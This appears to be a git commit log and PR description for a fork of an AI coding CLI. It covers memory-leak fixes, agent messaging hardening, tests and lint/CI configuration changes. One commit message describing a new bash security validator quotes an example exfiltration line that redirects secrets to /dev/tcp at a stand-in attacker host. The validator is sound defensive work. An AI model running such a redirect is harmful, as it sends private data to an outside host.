## Memory bounds (related, same review pass)

- `src/screens/REPL.tsx`: caps fullscreen scrollback after the compact boundary and updates trailing progress rows in place. Long-running fullscreen sessions could otherwise retain thousands of post-compaction messages and duplicate progress rows, keeping Ink trees alive long after their useful context had moved on.
- `src/services/skillSearch/*` and `src/services/skillLearning/*`: runtime activation is strictly opt-in via existing env toggles; session caches are capped so long-running processes can not grow them forever. Build presence is preserved so operators can still discover and opt into the slash commands.

## CI / test contract

- `tests/integration/dependency-overrides.test.ts`: smoke test no longer drives Mermaid's browser renderer; it validates the package-resolution contract directly so CI does not regress on unrelated browser timing.
- New `tests/integration/autonomy-lifecycle-user-flow.test.ts`: end-to-end CLI subprocess flow exercising `status --deep`, `flows`, `flow <id>`, `flow resume`, `flow cancel` against persisted state.
- `src/entrypoints/cli.tsx`: `claude autonomy …` routes through an entrypoint fast path that reuses the slash-command formatter without booting the full interactive CLI. Stdout is flushed before forced exit so coverage subprocesses do not terminate with empty stdout.
- `packages/builtin-tools/src/tools/RemoteTriggerTool/__tests__/RemoteTriggerTool.test.ts`: stabilized to prevent audit flake under coverage.

## Tests added

- `src/__tests__/queryAutonomyProviderBoundary.test.ts`
- `src/hooks/__tests__/useScheduledTasks.test.ts`
- `src/utils/__tests__/autonomyAuthority.test.ts`
- `src/utils/__tests__/autonomyFlows.test.ts` (extended)
- `src/utils/__tests__/autonomyPersistence.test.ts` (extended)
- `src/utils/__tests__/autonomyQueueLifecycle.test.ts`
- `src/utils/__tests__/autonomyRuns.test.ts` (extended)
- `src/utils/processUserInput/__tests__/processSlashCommand.test.ts`
- `tests/integration/autonomy-lifecycle-user-flow.test.ts`

## Docs

- `docs/agent/sur-loop-scheduled-oom.md`: System Understanding Report covering the scheduled/loop OOM problem, the call graphs investigated, and the lifecycle invariants this PR establishes.
- `docs/agent/sur-skill-overflow-bugs.md`: SUR for the related skill-overflow context.
- `docs/internals/autonomy-jira.md`: documents the two-phase commit window and ownership stamping invariants.
- `docs/memory-leak-audit.md`: audit notes covering the REPL/scrollback and skill-search bounds.

## Invariants this PR establishes

1. Queued autonomy prompts are not injected unless the persisted run was successfully claimed.
2. Terminal run/flow states are terminal — completion, failure, and cancellation all finalize state regardless of which provider/error path triggered them.
3. Autonomy run/flow `rootDir` is carried explicitly across detached async boundaries instead of inferred from a shared singleton.
4. State-only CLI subcommands (`autonomy status|runs|flows|flow …`) bypass full interactive bootstrap so they do not hold unrelated handles open.
5. REPL fullscreen scrollback and skill-search/skill-learning session caches are explicitly bounded.

## Validation

```bash
bun run typecheck
CI=true GITHUB_ACTIONS=true bun test            # 3996 pass / 0 fail across 305 files
bun test src/__tests__/queryAutonomyProviderBoundary.test.ts \
         src/hooks/__tests__/useScheduledTasks.test.ts \
         src/utils/__tests__/autonomy{Runs,Flows,Authority,QueueLifecycle,Persistence}.test.ts \
         src/utils/processUserInput/__tests__/processSlashCommand.test.ts \
         tests/integration/autonomy-lifecycle-user-flow.test.ts
```

## Origin

This PR is the consolidated, upstream-targeted version of two fork-side review PRs (fix/loop-scheduled-autonomy-oom and fix/autonomy-lifecycle). The fork-side review history is preserved at https://github.com/amDosion/claude-code-bast/pull/7 . The fork's own internal `chore: keep fork current with upstream` sync commits and the `docs: update contributors` automation are intentionally not included in this PR.

The autonomy CLI handler `rootDir` threading that the fork added (78f64d8a, 98d04ddb) is intentionally omitted here because upstream `a2cfaf91` (fix: 修复 RemoteTriggerTool 和 autonomy 测试的全量运行失败) already performed the equivalent change with an additional `currentDir` option. Keeping the upstream version avoids regressing that improvement.
2026-04-29 14:04:27 +08:00
claude-code-best
4f1649e249 feature: 20260429 代码巡检 (#383)
* fix: 实现 snipCompact/snipProjection 存根,修复 QueryEngine mutableMessages 不收缩的内存泄漏

将 snipCompact.ts 和 snipProjection.ts 从纯存根替换为完整实现:
- snipCompactIfNeeded: 检测 snip_boundary 消息,按 removedUuids 过滤消息,释放旧消息内存
- isSnipBoundaryMessage/projectSnippedView: 边界检测与视图投影
- isSnipMarkerMessage/isSnipRuntimeEnabled/shouldNudgeForSnips: 辅助函数
- 28 个测试覆盖边界检测、消息过滤、空输入、多边界等场景

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* fix: 完善 StreamingToolExecutor.discard() 释放内部状态,修复 NO_FLICKER 模式内存泄漏

discard() 原先仅设置 flag,不释放 tools 数组、siblingAbortController 和 turnSpan。
NO_FLICKER 模式 API 重试时旧工具结果堆积无法被 GC 回收。

修复内容:
- 中止 siblingAbortController 以取消运行中的工具子进程
- 清空 tools 数组释放 TrackedTool 引用(block、assistantMessage、results、pendingProgress)
- 清理 progressAvailableResolve 和 turnSpan
- 添加 7 个测试覆盖 discard 后的各种状态验证

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* fix: 清理 useReplBridge pendingPermissionHandlers,修复 RC 权限条目保留内存泄漏

pendingPermissionHandlers Map 原定义在 async IIFE 内部,组件卸载时
cleanup 函数无法访问。修复方案:
- 将 Map 提升至 useEffect 顶层作用域
- cleanup 时显式调用 pendingPermissionHandlers.clear() 释放闭包引用
- 添加 8 个测试覆盖 handler 注册/取消/响应/cleanup 模式

同时确认 #4 空闲渲染循环已完整实现(所有 10 个 useAnimationFrame
调用者均正确传递 null 暂停时钟)。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* fix: 确认 #11 LRU 缓存键已完整实现,添加 FileStateCache 测试 + 修复类型错误

审计确认 #11 FileStateCache 已完整实现(LRU 双重限制 max+maxSize +
sizeCalculation),归类从"未实现"修正为"已确认完整"。
- 添加 16 个 FileStateCache 测试覆盖 LRU 驱逐、大小计算、路径归一化
- 添加 6 个 coerceToolContentToString 测试覆盖类型强制转换
- 修复 replBridgePermissionHandlers 测试的类型断言错误

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* docs: 完成内存泄漏审计,标记所有条目已处理

12 项审计条目全部处理完毕:
- 11 项已确认完整实现(含 4 项主动修复:#8 StreamingToolExecutor、#9 RC 权限、#12 snipCompact、#4 确认完整)
- 1 项已知限制(#7 Bun --compile 兼容性)
- 65 个测试覆盖所有修复项
- 验证报告确认所有修复代码正确实现

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* fix: highlight.js 按需注册 26 个常用语言,减少 ~80% 语法内存占用

将 `import hljs from 'highlight.js'`(190+ 语言,~5-15MB)改为
`import hljs from 'highlight.js/lib/core'` + 静态导入并注册 26 个
常用语言(TypeScript、Python、Bash、Go、Rust 等)。静态 import
在 Bun --compile 模式下正常工作,避免了 createRequire 的路径问题。

内存从 ~5-15MB 降至 ~1-2MB。添加 7 个测试验证语言注册和
highlight 功能,现有 17 个 color-diff 测试全部通过。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* fix: 修复 inProcessRunner 权限响应后未 cleanup 的 interval 泄漏

权限请求得到响应后(批准/拒绝),pollInterval 和 abort listener
未被清理,导致 setInterval 永远运行。在长时间运行的 swarm 会话
中,每次权限请求都会泄漏一个 interval 和一个 listener。

修复:在成功/拒绝路径中调用 cleanup() 以清理 interval、
unregister callback 和移除 abort listener。添加 6 个测试
覆盖 permission callback 注册/处理/清理生命周期。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* fix: LSP openedFiles Map 在 compaction 后未清理,添加 closeAllFiles() 集成

LSPServerManager 的 openedFiles Map 持续增长(代码注释标注为 TODO),
长时间会话中每次文件操作都追加条目但从不清理。添加 closeAllFiles()
方法并在 postCompactCleanup 中调用,compaction 后释放所有 LSP 服务器端
文件状态。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* fix: 修复 language-registration 测试在全量运行时因 hljs 单例污染而失败

cliHighlight.ts 导入全量 highlight.js(192 语言),与 color-diff-napi
使用的 highlight.js/lib/core 共享同一单例。全量测试运行时全量包先加载,
导致断言"未注册语言"和"不超过 30 个语言"失败。

改为验证目标 26 个语言全部存在,而非检查总数。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-29 09:14:26 +08:00
claude-code-best
a2cfaf9111 fix: 修复 RemoteTriggerTool 和 autonomy 测试的全量运行失败
RemoteTriggerTool 测试补充了缺失的 mock(log/debug/oauth/growthbook/policyLimits/bun:bundle),
用内存数组替代文件系统写入审计记录,避免路径冲突。autonomy handler 函数增加可选 rootDir 参数,
测试显式传递 rootDir 避免依赖全局 getProjectRoot() 导致并发测试状态污染。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 22:29:36 +08:00
claude-code-best
9e365f1ffa chore: 1.10.10 2026-04-28 21:27:47 +08:00
claude-code-best
51b8ad46bf refactor: 移除消息流中的 diff 渲染,仅保留权限审批页的 diff
Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 21:23:38 +08:00
claude-code-best
2bad8df5d7 test: 添加 subagent 僵死场景相关测试用例
覆盖 subagent 生命周期关键模块的零覆盖函数:
- messageQueueManager: 扩展队列操作测试(enqueue/dequeue/优先级排序)
- queueProcessor: 测试 subagent 通知过滤和批量处理
- LocalAgentTask: 测试状态转换、通知防重、进度追踪
- task/framework: 测试 updateTaskState、registerTask、evictTerminalTask

共 66 个测试用例,135 个断言,全部通过。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 15:36:54 +08:00
claude-code-best
327658979a fix: 添加 /dev/tcp /dev/udp 网络伪设备重定向安全检测
Bash 支持 /dev/tcp/host/port 和 /dev/udp/host/port 伪设备路径,
攻击者可通过重定向实现网络数据泄露而无需任何网络工具:
  echo "secrets" > /dev/tcp/evil.com/4444

新增 validateNetworkDeviceRedirect 安全验证器,在 bashSecurity.ts
的同步和异步验证器列表中均注册。同时补全了反斜杠转义和复合命令
安全场景的测试覆盖(42 个测试用例)。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 14:58:34 +08:00
claude-code-best
7e61e71c54 fix: 尝试禁用 UDS_INBOX 修复 nodejs 进入失败问题 2026-04-28 14:32:23 +08:00
LittleApple
4b97e6638e Fix formatting in README.md links section 2026-04-28 11:53:30 +08:00
claude-code-best
b8b48bf7ed fix: 修复 truncate 函数接收到 undefined/null 时崩溃的问题
BackgroundTask 组件渲染时传入的 task 属性(description、title、command 等)
可能为 undefined,导致 str.indexOf('\n') 抛出 TypeError。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 09:15:58 +08:00
claude-code-best
de9dbcdcbb chore: 1.10.8 2026-04-28 08:50:23 +08:00
claude-code-best
0a9e6c0313 fix: 先关闭 skill learning 2026-04-28 08:50:05 +08:00
claude-code-best
73130bded3 chore: 1.10.7 2026-04-28 08:47:45 +08:00
claude-code-best
1a1d57057e fix: 限制 skill-learning evidence 无限增长导致全局 skill 文件膨胀
evidence 数组和追加块缺少大小限制,导致 skill 文件(如
sdd-brainstorming)在短时间内膨胀至 21K+ 行/78 个 evidence 块。

三处修复:
- instinctParser: evidence 数组 cap 10 条, observationIds cap 20 条
- skillGenerator: 追加块每次最多 20 行, 文件总大小上限 50KB,
  生成 skill 的 evidence 段限制 20 行
- agentGenerator: 生成 agent 的 evidence 段限制 20 行

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-28 08:47:37 +08:00
claude-code-best
7f864a4743 chore: 1.10.6 2026-04-27 20:48:32 +08:00
claude-code-best
c81dac8c3c fix: 修复 Node.js 环境下 UDS socket chmod ENOENT 导致进程无输出退出
macOS + Node.js v22 中,嵌套目录路径的 Unix Domain Socket 在
listen 回调触发时文件可能尚未落盘,chmod 随即抛出 ENOENT,
导致 startUdsMessaging → setup() 整条链路崩溃。将 chmod 改为
非致命操作,ENOENT 时安全跳过(父目录已为 0o700)。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 20:48:23 +08:00
Dosion
4266149820 fix: keep UDS peer failures structured (#375)
* fix: keep UDS peer failures structured

CodeRabbit and Claude cross-review identified that timeout and raw peer connection failures should share one observable error contract. UDS peer failures now use UdsPeerConnectionError consistently, and connectToPeer hands the socket lifecycle back to the caller after a successful connection instead of retaining an internal timeout or error listener.

The tests cover the real socket paths with capability files, timeout behavior, connection failure structure, post-connect listener handoff, AgentSummary rescheduling observations, and platform-specific mailbox directory errno handling.

Constraint: Preserve the 5000ms production timeout default while allowing tests to exercise timeout paths quickly.

Rejected: Suppress CodeRabbit warnings in tests | would hide the real timeout/error contract gap.

Rejected: Keep connectToPeer post-connect error listener | it would silently swallow caller-owned socket errors.

Confidence: high

Scope-risk: narrow

Directive: Keep UDS send/connect timeout and socket-error paths on the same structured peer error contract.

Tested: bun test src/utils/__tests__/udsMessaging.test.ts src/services/AgentSummary/__tests__/agentSummary.test.ts src/utils/__tests__/teammateMailbox.test.ts

Tested: bunx tsc --noEmit --pretty false

Tested: bun run lint

Tested: bun run test:all

Tested: bun test --coverage --coverage-reporter lcov --coverage-dir coverage

Tested: bun run build

Tested: bun run build:vite

Tested: omx ask claude simplify review artifact .omx/artifacts/claude-review-only-cross-check-for-pr-374-on-branch-codex-codecov-r-2026-04-27T08-17-47-309Z.md

Tested: omx ask claude security review artifact .omx/artifacts/claude-security-review-cross-check-for-pr-374-current-working-tree--2026-04-27T08-26-54-079Z.md

Not-tested: GitHub-hosted CodeRabbit refresh until pushed.

* docs: clarify UDS peer socket ownership

CodeRabbit's #375 pass found that connectToPeer now correctly hands socket errors to the caller, but the JSDoc needed to spell out that contract. The lifecycle test also uses a less brittle post-connect timeout so slow CI does not turn the ownership check into a connection-speed race.

Constraint: The raw socket API intentionally detaches its internal listener after successful connect so caller-owned errors are not swallowed.

Rejected: Keep the test timeout at 50ms | it tests scheduler speed instead of socket lifecycle ownership.

Confidence: high

Scope-risk: narrow

Directive: connectToPeer callers must attach their own error listener immediately after awaiting the socket.

Tested: bun test src/utils/__tests__/udsMessaging.test.ts

Tested: bunx tsc --noEmit --pretty false

Tested: bun run lint

Tested: git diff --check

Tested: bun run test:all

Not-tested: GitHub-hosted CodeRabbit refresh until pushed.

* fix: close peer socket listener handoff window

CodeRabbit and Claude review found that documenting caller-owned raw socket errors still left a Promise handoff window and a stale timeout-listener risk. The peer connection API now requires a caller error handler and installs it before resolving, while cleanup removes internal error and timeout listeners on every path.

Constraint: Keep the fix precise to PR #375 review feedback and avoid warning suppression or fallback behavior.
Rejected: Leave the behavior documented only | still permits an unhandled socket error window between resolve and caller listener attachment.
Rejected: Keep a no-op internal error listener | would silently swallow caller-owned socket errors.
Confidence: high
Scope-risk: narrow
Directive: Do not add raw connectToPeer callers without providing a real onSocketError handler and capability handshake.
Tested: bun test src/utils/__tests__/udsMessaging.test.ts src/services/AgentSummary/__tests__/agentSummary.test.ts
Tested: bunx tsc --noEmit --pretty false
Tested: bun run lint
Tested: bun run test:all
Tested: bun test --coverage --coverage-reporter lcov --coverage-dir coverage
Tested: bun run build
Tested: bun run build:vite
Tested: bun audit
Not-tested: Manual external ACP peer runtime beyond repository tests.

* fix: use a deadline timer for peer connects

The raw socket handoff no longer needs Socket#setTimeout; an ordinary connection deadline keeps the timeout behavior while avoiding an internal socket timeout listener that has no reliable UDS integration path to exercise.

Constraint: Keep Codecov coverage honest without adding ignore pragmas, mocks, or fallback suppression.

Rejected: c8 ignore on the timeout listener | hides the uncovered branch instead of simplifying the lifecycle.

Rejected: keep Socket#setTimeout listener | leaves a socket listener lifecycle to manage for a connect-only deadline.

Confidence: high

Scope-risk: narrow

Directive: Keep connectToPeer errors caller-owned via onSocketError and reject pre-connect failures with UdsPeerConnectionError.

Tested: bun test src/utils/__tests__/udsMessaging.test.ts src/services/AgentSummary/__tests__/agentSummary.test.ts

Tested: bunx tsc --noEmit --pretty false

Tested: bun run lint

Tested: bun test src/utils/__tests__/udsMessaging.test.ts --coverage --coverage-reporter lcov --coverage-dir coverage-uds

Tested: bun run test:all

Tested: bun test --coverage --coverage-reporter lcov --coverage-dir coverage

Tested: bun run build

Tested: bun run build:vite

Tested: bun audit

Not-tested: Manual external ACP peer runtime beyond repository tests.

---------

Co-authored-by: unraid <local@unraid.local>
2026-04-27 20:16:09 +08:00
claude-code-best
7cc1785fc0 chore:1.10.5 2026-04-27 19:54:26 +08:00
claude-code-best
c80e593212 feature: langfuse thinking 及 文本edit的问题修复( #371); 省略 diff 以减少内存峰值 (#376)
* feat: langfuse tracing 增加 thinking 参数记录

在 recordLLMObservation 中添加 thinking 配置(type/budgetTokens),
所有 provider(claude/gemini/openai)及 tokenEstimation、sideQuery
调用处同步传递 thinking 信息,便于 Langfuse 面板观察 thinking 使用情况。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* fix: langfuse tracing 兼容 budget_tokens snake_case 格式

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* fix: 统一传递完整 thinking 配置而非仅 thinkingType

Langfuse 追踪直接传递整个 thinking 对象(含 type 和 budget_tokens),
Analytics 日志同步补充 thinkingBudgetTokens 字段,logAPIQuery 改为
接收 ThinkingConfig 类型参数。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* feat: 省略旧消息的代码 diff 展示,仅保留最新消息的完整 diff

* fix: Edit 工具增加 Tab/空格规范化匹配,修复中文和缩进文件编辑失败

Read 工具输出将 Tab 渲染为空格,用户复制后 Edit 工具无法匹配。
在 findActualString 中增加 Tab→空格规范化回退匹配,并精确映射回原始文件位置。

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

* docs: README 添加安装/更新失败的解决方案提示

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-27 17:06:33 +08:00
Dosion
b47731a3f3 test: keep Codecov coverage on real agent communication paths (#374)
* test: keep Codecov coverage on real agent communication paths

PR #369 was merged before the final Codecov coverage fix landed, so this follow-up carries only the incremental real-path tests needed on top of main. The tests exercise AgentSummary lifecycle branches, mailbox fail-closed behavior, UDS client connection failure through a real capability file, and UDS response-reader framing without mock.module, warning suppression, feature fallback, or production-code churn.

Constraint: PR #369 is already merged; this branch must contain only the incremental Codecov repair on top of latest main

Rejected: Reopen or keep pushing the merged PR branch | merged PR refs do not update and would leave Codecov stale

Rejected: Mock bun:bundle or hide warnings | would reintroduce cross-test pollution and pseudo coverage

Rejected: Keep unrelated SendMessageTool production diff | it created avoidable patch-coverage debt without improving the runtime path

Confidence: high

Scope-risk: narrow

Directive: Keep these coverage tests on real paths; do not replace them with output suppression or feature-flag mocks

Tested: bunx tsc --noEmit --pretty false

Tested: bun run lint

Tested: bun test src\utils\__tests__\teammateMailbox.test.ts

Tested: bun test src\services\AgentSummary\__tests__\agentSummary.test.ts src\services\AgentSummary\__tests__\summaryContext.test.ts src\utils\__tests__\teammateMailbox.test.ts src\utils\__tests__\udsMessaging.test.ts src\utils\__tests__\udsResponseReader.test.ts packages\builtin-tools\src\tools\SendMessageTool\__tests__\udsRecipientSanitization.test.ts

Tested: bun run test:all

Tested: bun test --coverage --coverage-reporter lcov --coverage-dir coverage

Tested: bun run build

Tested: bun run build:vite

Tested: bun audit

Tested: git diff --check

Tested: Claude simplify review GO (.omx/artifacts/claude-simplify-codecov-20260427-1521.md)

Tested: Claude security review GO (.omx/artifacts/claude-security-codecov-20260427-1522.md)

Not-tested: GitHub-hosted Codecov upload after this amended commit until PR checks rerun

* test: keep review assertions tied to real failure paths

CodeRabbit flagged three non-blocking but valid review gaps: platform-specific mailbox errno checks, brittle UDS connection-failure message assertions, and missing AgentSummary reschedule proof after fork errors. This keeps the fixes narrow by tightening the affected assertions and adding a structured UDS connection error for tests to assert behavior instead of prose.

Constraint: PR #374 is a review follow-up and must not hide warnings, skip tests, or merge the PR.

Rejected: Matching the UDS failure message literal | preserves the brittle coupling CodeRabbit flagged.

Rejected: Asserting only that mailbox writes throw | would allow unrelated pre-path failures to pass.

Confidence: high

Scope-risk: narrow

Directive: Keep UDS connection-failure tests on structured error data, not display wording.

Tested: bun test src/services/AgentSummary/__tests__/agentSummary.test.ts src/utils/__tests__/teammateMailbox.test.ts src/utils/__tests__/udsMessaging.test.ts

Tested: bunx tsc --noEmit --pretty false

Tested: bun run lint

Tested: bun run test:all

Tested: bun test --coverage --coverage-reporter lcov --coverage-dir coverage

Tested: bun run build

Tested: bun run build:vite

Not-tested: GitHub-hosted CodeRabbit refresh until pushed.

* test: remove brittle review follow-up assumptions

CodeRabbit's second pass found two valid brittleness issues and one suggested callback-reference assertion that would not match production behavior. This keeps the production behavior unchanged: timers still schedule the summarizer closure, tests now assert timer-handle identity, and UDS connection errors use native Error.cause instead of shadowing it.

Constraint: Do not manufacture behavior just to satisfy a review hint; assertions must match the real AgentSummary scheduling contract.

Rejected: Assert a fresh scheduled callback function | scheduleNext intentionally passes the same runSummary closure each time.

Rejected: Store a custom cause field on UdsPeerConnectionError | native Error.cause is available under ESNext/Bun.

Confidence: high

Scope-risk: narrow

Directive: Timer tests should assert returned handle identity for ownership, not incidental numeric values.

Tested: bun test src/services/AgentSummary/__tests__/agentSummary.test.ts src/utils/__tests__/udsMessaging.test.ts

Tested: bunx tsc --noEmit --pretty false

Tested: bun run lint

Tested: bun run test:all

Tested: bun test --coverage --coverage-reporter lcov --coverage-dir coverage

Tested: bun run build

Tested: bun run build:vite

Not-tested: GitHub-hosted CodeRabbit refresh until pushed.

* test: enforce structured UDS timeout failures

CodeRabbit's follow-up surfaced a real consistency gap: UDS send socket errors used UdsPeerConnectionError while response timeouts still rejected a generic Error. Timeouts now use the same structured peer failure contract, and the test exercises that path through a short explicit timeout instead of waiting for the production default.

The AgentSummary unchanged-fingerprint test now also asserts that the second unchanged tick does not log errors, preserving the existing behavior checks without changing production scheduling semantics.

Constraint: Keep the production timeout default at 5000ms while allowing tests to exercise the timeout path quickly.

Rejected: Leave timeout failures as generic Error | callers would need separate handling for the same peer connection failure class.

Confidence: high

Scope-risk: narrow

Directive: Keep UDS send timeout and socket-error branches on the same structured error contract.

Tested: bun test src/services/AgentSummary/__tests__/agentSummary.test.ts src/utils/__tests__/udsMessaging.test.ts

Tested: bunx tsc --noEmit --pretty false

Tested: bun run lint

Tested: bun run test:all

Tested: bun test --coverage --coverage-reporter lcov --coverage-dir coverage

Tested: bun run build

Tested: bun run build:vite

Not-tested: GitHub-hosted CodeRabbit refresh until pushed.

---------

Co-authored-by: unraid <local@unraid.local>
2026-04-27 16:22:13 +08:00
claude-code-best
a65df4a102 docs: update contributors 2026-04-27 07:57:43 +00:00
Dosion
52b61c2c06 fix: bound agent communication memory growth (#369)
* fix: bound agent communication memory growth

UDS messaging now uses private local capabilities instead of exposing auth tokens through SDK metadata, environment variables, session registry, peer listing, or tool output. The receive path bounds NDJSON frames, response buffers, active clients, and pending inbox bytes, and strips auth metadata before messages enter the prompt queue.

Teammate mailboxes now validate file and message sizes, fail closed on corrupt mutation inputs, compact by count and retained bytes, and use stable message identity for in-process acknowledgements. Agent summaries now fork only a bounded recent context using lazy size estimation and content fingerprints instead of retaining or serializing unbounded histories.

Constraint: PR #361 was already merged; this branch is based on upstream/main@c2ac9a74.
Rejected: Default-disabling COORDINATOR_MODE/TEAMMEM only | explicit feature enablement still hit unbounded paths.
Rejected: Persisting UDS auth in SDK/env/session registry | bridge/remote metadata can leak local capability secrets.
Rejected: Inline uds #token addresses | observable/tool/classifier paths can reflect raw addresses outside the UDS request frame.
Rejected: Positional mailbox marking after compaction | compaction can shift indices across the lock boundary.
Confidence: high
Scope-risk: moderate
Directive: Do not expose UDS capability tokens through SDK messages, environment variables, session registry, peer-list output, or SendMessage result/classifier surfaces.
Directive: Do not reintroduce positional mailbox acknowledgements unless compaction is removed or read+mark is atomic under one lock.
Tested: bun test src/utils/__tests__/ndjsonFramer.test.ts src/utils/__tests__/udsMessaging.test.ts packages/builtin-tools/src/tools/SendMessageTool/__tests__/udsRecipientSanitization.test.ts
Tested: bunx tsc --noEmit --pretty false
Tested: bun run lint
Tested: bunx biome lint modified src/package files
Tested: bun run test:all (3704 pass, 0 fail, 6734 expects)
Tested: bun audit (No vulnerabilities found)
Tested: bun run build
Tested: bun run build:vite
Tested: git diff --check
Not-tested: End-to-end external UDS client driving a full production headless model turn.

* fix: harden bounded agent communication review fixes

CodeRabbit and Codecov surfaced real gaps in UDS framing, peer discovery, mailbox retention, and summary context coverage. This tightens those paths without suppressing review or coverage signals.

Constraint: PR #369 must address CodeRabbit and Codecov findings without warning suppression or fake fallbacks

Rejected: Suppress Codecov or CodeRabbit warnings | leaves real receive-path and test-isolation gaps

Rejected: Add unreachable feature-gated tests | bun:bundle keeps those branches compile-time gated in local tests

Confidence: high

Scope-risk: moderate

Directive: Keep UDS auth-token rejection outside feature flags; do not reintroduce inline token fallbacks

Tested: bun test --coverage --coverage-reporter lcov --coverage-dir coverage; bun run test:all; bun run lint; bun run build; bun run build:vite; bun audit; git diff --cached --check

Not-tested: Remote Codecov/CodeRabbit refreshed reports until pushed

* fix: prevent agent communication bounds from hiding CI regressions

Tighten the UDS auth, framing, and response-reader boundaries while keeping the AgentSummary lifecycle covered so Codecov and CI fail on real regressions instead of missing coverage. The poorMode settings mock mirrors unrelated real settings defaults to avoid Bun mock retention changing later permission tests.

Constraint: PR #369 must fix Codecov/CI precisely without warning suppression, fallback masking, or mock pollution

Rejected: Delete AgentSummary lifecycle coverage | would hide Codecov loss and stale-summary behavior

Rejected: Store inline UDS rejection in a hidden input sentinel | cloned observable inputs can drop it and bypass rejection

Rejected: Ignore malformed UDS frames until timeout | leaves client slots and SendMessage calls open to exhaustion

Confidence: high

Scope-risk: moderate

Directive: Keep empty #token= markers rejected; do not require a non-empty token value in hasInlineUdsToken

Tested: bun test packages/builtin-tools/src/tools/SendMessageTool/__tests__/udsRecipientSanitization.test.ts src/utils/__tests__/udsMessaging.test.ts src/utils/__tests__/udsResponseReader.test.ts src/utils/__tests__/ndjsonFramer.test.ts

Tested: bunx tsc --noEmit --pretty false

Tested: bun run lint

Tested: bun test --coverage --coverage-reporter lcov --coverage-dir coverage

Tested: bun run test:all

Tested: bun audit

Tested: bun run build

Tested: bun run build:vite

Not-tested: GitHub-hosted Codecov upload until pushed PR checks rerun

---------

Co-authored-by: unraid <local@unraid.local>
2026-04-27 14:47:18 +08:00
1534 changed files with 88182 additions and 89763 deletions

View File

@@ -1,8 +1,8 @@
root = true
[*]
indent_style = tab
indent_size = 4
indent_style = space
indent_size = 2
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true

View File

@@ -31,6 +31,9 @@ jobs:
CLAUDE_CODE_SKIP_CHROME_MCP_SETUP: "1"
run: bun install --frozen-lockfile
- name: Lint and format check
run: bunx biome ci .
- name: Type check
run: bun run typecheck

3
.gitignore vendored
View File

@@ -5,7 +5,8 @@ coverage
.env
*.log
.idea
.vscode
.vscode/*
!.vscode/extensions.json
*.suo
*.lock
src/utils/vendor/

1
.husky/pre-commit Normal file
View File

@@ -0,0 +1 @@
bunx lint-staged

1
.tool-versions Normal file
View File

@@ -0,0 +1 @@
bun 1.3.13

8
.vscode/extensions.json vendored Normal file
View File

@@ -0,0 +1,8 @@
{
"recommendations": [
"biomejs.biome",
"ms-typescript.typescript",
"oven.bun-vscode",
"editorconfig.editorconfig"
]
}

View File

@@ -48,9 +48,11 @@ bun test src/utils/__tests__/hash.test.ts # run single file
bun test --coverage # with coverage report
# Lint & Format (Biome)
bun run lint # check only
bun run lint:fix # auto-fix
bun run format # format all src/
bun run lint # lint check (全项目)
bun run lint:fix # auto-fix lint issues
bun run format # format all (全项目)
bun run check # lint + format check (全项目)
bun run check:fix # lint + format auto-fix
# Health check
bun run health
@@ -58,9 +60,8 @@ bun run health
# Check unused exports
bun run check:unused
# Full check (typecheck + lint + test) — run after completing any task
bun run test:all
bun run typecheck
# Full check (typecheck + lint fix + test) — run after completing any task
bun run precheck
# Remote Control Server
bun run rcs
@@ -82,9 +83,11 @@ bun run docs:dev
- **Dev mode**: `scripts/dev.ts` 通过 Bun `-d` flag 注入 `MACRO.*` defines运行 `src/entrypoints/cli.tsx`。默认启用全部 feature。
- **Module system**: ESM (`"type": "module"`), TSX with `react-jsx` transform.
- **Monorepo**: Bun workspaces — 15 个 workspace packages + 若干辅助目录 in `packages/` resolved via `workspace:*`
- **Lint/Format**: Biome (`biome.json`)。`bun run lint` / `bun run lint:fix` / `bun run format`
- **Lint/Format**: Biome (`biome.json`)。覆盖 `src/``scripts/``packages/` 全项目(含 `packages/@ant/`)。`bun run lint` / `bun run lint:fix` / `bun run format` / `bun run check` / `bun run check:fix`。42 条规则因 decompiled 代码被关闭,仅保留 `recommended` 基线
- **Pre-commit**: husky + lint-staged。提交时自动对暂存文件执行 `biome check --fix`TS/JS`biome format --write`JSON
- **CI Lint**: `ci.yml` 在依赖安装后、类型检查前执行 `bunx biome ci .`lint 或格式化不达标则 CI 失败。
- **Defines**: 集中管理在 `scripts/defines.ts`。当前版本 `2.1.888`
- **CI**: GitHub Actions — `ci.yml`构建+测试)、`release-rcs.yml`RCS 发布)、`update-contributors.yml`(自动更新贡献者)。
- **CI**: GitHub Actions — `ci.yml`lint + 构建 + 测试)、`release-rcs.yml`RCS 发布)、`update-contributors.yml`(自动更新贡献者)。
### Entry & Bootstrap
@@ -328,7 +331,9 @@ bun run typecheck
- **`src/` path alias** — tsconfig maps `src/*` to `./src/*`. Imports like `import { ... } from 'src/utils/...'` are valid.
- **MACRO defines** — 集中管理在 `scripts/defines.ts`。Dev mode 通过 `bun -d` 注入build 通过 `Bun.build({ define })` 注入。修改版本号等常量只改这个文件。
